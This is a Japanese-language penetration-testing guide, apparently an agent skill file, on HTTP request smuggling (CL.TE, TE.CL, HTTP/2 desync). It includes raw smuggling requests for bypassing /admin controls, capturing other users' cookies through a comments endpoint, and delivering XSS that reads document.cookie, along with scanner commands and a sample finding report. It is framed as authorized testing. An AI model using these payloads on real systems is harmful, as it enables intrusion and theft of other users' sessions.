exploiting-http-request-smuggling

HTTP リクエストスマグリングの悪用

使用する場面

• アプリケーションがリバースプロキシ、ロードバランサー、または CDN の背後にある場合の、許可を得たペネトレーションテスト
• リクエストチェーン内に複数の HTTP 処理装置があるインフラ（nginx + Apache、HAProxy + Gunicorn）のテスト
• HTTP デシンクロナイゼーションの脆弱性についてアプリケーションを評価する場合
• 他の攻撃経路が限られており、フロントエンドのセキュリティ制御を回避する必要がある場合
• 多層 Web アーキテクチャのセキュリティ評価

前提条件

• 許可：リクエストスマグリング（高リスクテスト）を明示的に対象とする、書面でのペネトレーションテスト契約
• Burp Suite Professional：HTTP Request Smuggler 拡張機能（Turbo Intruder）を含む
• smuggler.py：自動 HTTP リクエストスマグリング検出ツール
• curl：HTTP/1.1 サポートと手動チャンク転送エンコーディングを有効にしてコンパイルされていること
• 対象アーキテクチャに関する知識：プロキシ／サーバーチェーン（フロントエンドとバックエンド）の理解
• 注意：リクエストスマグリングは他のユーザーのリクエストに影響する可能性があります。慎重にテストしてください

ワークフロー

ステップ 1：HTTP アーキテクチャを特定する

プロキシ／サーバーチェーンと HTTP の解析特性を確認します。

# Identify front-end proxy/CDN
curl -s -I "https://target.example.com/" | grep -iE \
  "(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"

# Common architectures:
# Cloudflare → Nginx → Application
# AWS ALB → Apache → Application
# HAProxy → Gunicorn → Python app
# Nginx → Node.js/Express
# Akamai → IIS → .NET app

# Check HTTP version support
curl -s -I --http1.1 "https://target.example.com/" | head -1
curl -s -I --http2 "https://target.example.com/" | head -1

# Check if Transfer-Encoding is supported
curl -s -X POST \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "0\r\n\r\n" \
  "https://target.example.com/" -w "%{http_code}"

# Check for HTTP/2 downgrade to HTTP/1.1 on backend
# Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin

ステップ 2：CL.TE スマグリングをテストする

フロントエンドは Content-Length を使用し、バックエンドは Transfer-Encoding を使用します。

# In Burp Suite Repeater, disable "Update Content-Length" option
# Send the following request manually:

POST / HTTP/1.1
Host: target.example.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

# If vulnerable (CL.TE):
# Front-end reads 13 bytes (Content-Length), forwards entire request
# Back-end reads chunked: "0\r\n\r\n" = end of body
# "SMUGGLED" becomes the start of the next request

# Detection technique: Time-based
# If back-end reads chunked and sees incomplete chunk, it waits:

POST / HTTP/1.1
Host: target.example.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

# If response is delayed (~5-10 seconds), CL.TE is likely

ステップ 3：TE.CL スマグリングをテストする

フロントエンドは Transfer-Encoding を使用し、バックエンドは Content-Length を使用します。

# Burp Repeater - disable "Update Content-Length"

POST / HTTP/1.1
Host: target.example.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


# If vulnerable (TE.CL):
# Front-end reads chunked: chunk "SMUGGLED" + final "0"
# Back-end reads 3 bytes of Content-Length: "8\r\n"
# Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix

# Detection via differential response:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

# Front-end (TE): reads "0\r\n\r\n", sees end
# Back-end (CL): reads 6 bytes "0\r\nX\r\n"
# Next request gets "X" prepended, causing 400/405 errors

ステップ 4：自動検出ツールを使用する

自動スキャナーを実行して、スマグリングの亜種を検出します。

# Using smuggler.py
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u "https://target.example.com/" -m GET POST

# Using Burp HTTP Request Smuggler extension
# 1. Install from BApp Store: "HTTP Request Smuggler"
# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe
# 3. Check Scanner > Issue Activity for results

# Using h2csmuggler for HTTP/2 smuggling
# git clone https://github.com/BishopFox/h2cSmuggler.git
python3 h2csmuggler.py -x "https://target.example.com/" \
  "https://target.example.com/admin"

# Manual detection with Turbo Intruder
# Send paired requests with different timing
# First request: smuggling prefix
# Second request: normal request that gets affected

ステップ 5：影響を与えるためにリクエストスマグリングを悪用する

確認済みのスマグリングを利用して、実際の攻撃を行います。

# Attack 1: Bypass front-end access controls
# Access /admin which is blocked by the front-end proxy

# CL.TE exploit:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 56
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.example.com
Foo: x

# The smuggled "GET /admin" request bypasses front-end restrictions
# because it's processed by the back-end directly

# Attack 2: Capture other users' requests
# Smuggle a request that stores the next user's request in a visible location

POST / HTTP/1.1
Host: target.example.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /api/comments HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400

body=

# The next legitimate user's request gets appended to "body="
# and stored as a comment, exposing their cookies and headers

# Attack 3: Reflected XSS escalation
# Smuggle a request that will reflect XSS in the next response

POST / HTTP/1.1
Host: target.example.com
Content-Length: 150
Transfer-Encoding: chunked

0

GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.example.com
Content-Length: 10
Foo: x

# Next user receives the XSS response instead of their expected response

ステップ 6：HTTP/2 リクエストスマグリングをテストする

HTTP/2 固有のスマグリング攻撃経路を評価します。

# HTTP/2 smuggling via CRLF injection in headers
# HTTP/2 should reject \r\n in header values, but some proxies don't

# H2.CL smuggling: HTTP/2 front-end, Content-Length on back-end
# Send HTTP/2 request with mismatched :path and content

# Using Burp Suite with HTTP/2 support:
# 1. Enable HTTP/2 in Repeater: Inspector > HTTP/2
# 2. Craft request with conflicting CL header

# HTTP/2 header injection
# Add: Transfer-Encoding: chunked via HTTP/2 pseudo-header
# Some front-ends strip TE from HTTP/1.1 but not from HTTP/2

# Test HTTP/2 request tunneling
# If front-end reuses HTTP/2 connections for multiple users:
# Poison the connection to affect subsequent requests

# H2.TE smuggling via HTTP/2 CONNECT
# Use CONNECT method in HTTP/2 to establish tunnels
# that bypass front-end security controls

主な概念

概念	説明
CL.TE スマグリング	フロントエンドは Content-Length を使用し、バックエンドは Transfer-Encoding を使用します
TE.CL スマグリング	フロントエンドは Transfer-Encoding を使用し、バックエンドは Content-Length を使用します
TE.TE スマグリング	両方が Transfer-Encoding を使用しますが、難読化された TE ヘッダーの解析方法が異なります
HTTP デシンク	フロントエンドとバックエンドでリクエスト境界の解釈が一致しない状態です
リクエスト分割	1 つの HTTP リクエストが、別々の 2 つのリクエストとして解釈されます
接続ポイズニング	スマグリングされたデータが、同じ TCP 接続上の次のリクエストに影響します
H2.CL スマグリング	Content-Length の不一致を伴う、HTTP/2 から HTTP/1.1 へのダウングレードです

ツールとシステム

ツール	用途
Burp Suite Professional	Content-Length の自動設定を無効にした、手動でのリクエスト作成
HTTP Request Smuggler (Burp)	James Kettle による自動スマグリング検出拡張機能
smuggler.py	Python ベースの自動 HTTP リクエストスマグリングスキャナー
h2cSmuggler	Bishop Fox の HTTP/2 平文スマグリングツール
Turbo Intruder	時間制約のあるスマグリングテスト向けの高速リクエストエンジン
curl	バイト単位で正確に制御できる、手動 HTTP リクエスト作成ツール

よくあるシナリオ

シナリオ 1：管理パネルへのアクセス制限の回避

フロントエンドプロキシは /admin リクエストをブロックします。CL.TE スマグリング攻撃で GET /admin をバックエンドのリクエストキューの先頭に挿入すると、フロントエンドのアクセス制御チェックを受けずに、バックエンドが管理者向けリクエストを処理します。

シナリオ 2：リクエストの取り込みによる Cookie の窃取

TE.CL スマグリング攻撃で、コメントエンドポイントに対する部分的な POST リクエストを挿入します。次のユーザーのリクエスト（Cookie と認証ヘッダーを含む）がコメント本文に追加され、データベースに保存されます。

シナリオ 3：スマグリングによるキャッシュポイズニング

スマグリングされたリクエストにより、キャッシュに別の URL のレスポンスが保存されます。キャッシュポイズニングと組み合わせると、攻撃者は正規の URL を要求するすべてのユーザーに悪意のあるコンテンツを配信できます。

シナリオ 4：CDN での HTTP/2 デシンク

CDN は HTTP/2 を受け付け、オリジン向けには HTTP/1.1 にダウングレードします。HTTP/2 経由でヘッダーを挿入するとデシンクが発生し、攻撃者は CDN の WAF ルールを回避するリクエストをスマグリングできます。

Output Format

## HTTP Request Smuggling Finding

**Vulnerability**: CL.TE HTTP Request Smuggling
**Severity**: Critical (CVSS 9.1)
**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)
**OWASP Category**: A05:2021 - Security Misconfiguration

### Architecture
Front-end: Cloudflare (Content-Length priority)
Back-end: Gunicorn (Transfer-Encoding priority)
Protocol: HTTP/1.1 between proxy and origin

### Reproduction Steps
1. Send POST request with both Content-Length and Transfer-Encoding headers
2. Content-Length set to include smuggled request prefix
3. Transfer-Encoding: chunked with "0\r\n\r\n" ending body
4. Smuggled data becomes prefix of next back-end request

### Confirmed Exploits
| Exploit | Impact |
|---------|--------|
| Admin bypass | Accessed /admin without authentication |
| Request capture | Stole session cookies from other users |
| XSS escalation | Delivered reflected XSS to arbitrary users |
| Cache poisoning | Poisoned CDN cache with malicious response |

### Recommendation
1. Ensure front-end and back-end use the same HTTP parsing behavior
2. Reject ambiguous requests with both Content-Length and Transfer-Encoding
3. Upgrade to HTTP/2 end-to-end (no protocol downgrade)
4. Use HTTP/2 between proxy and origin server
5. Normalize requests at the front-end before forwarding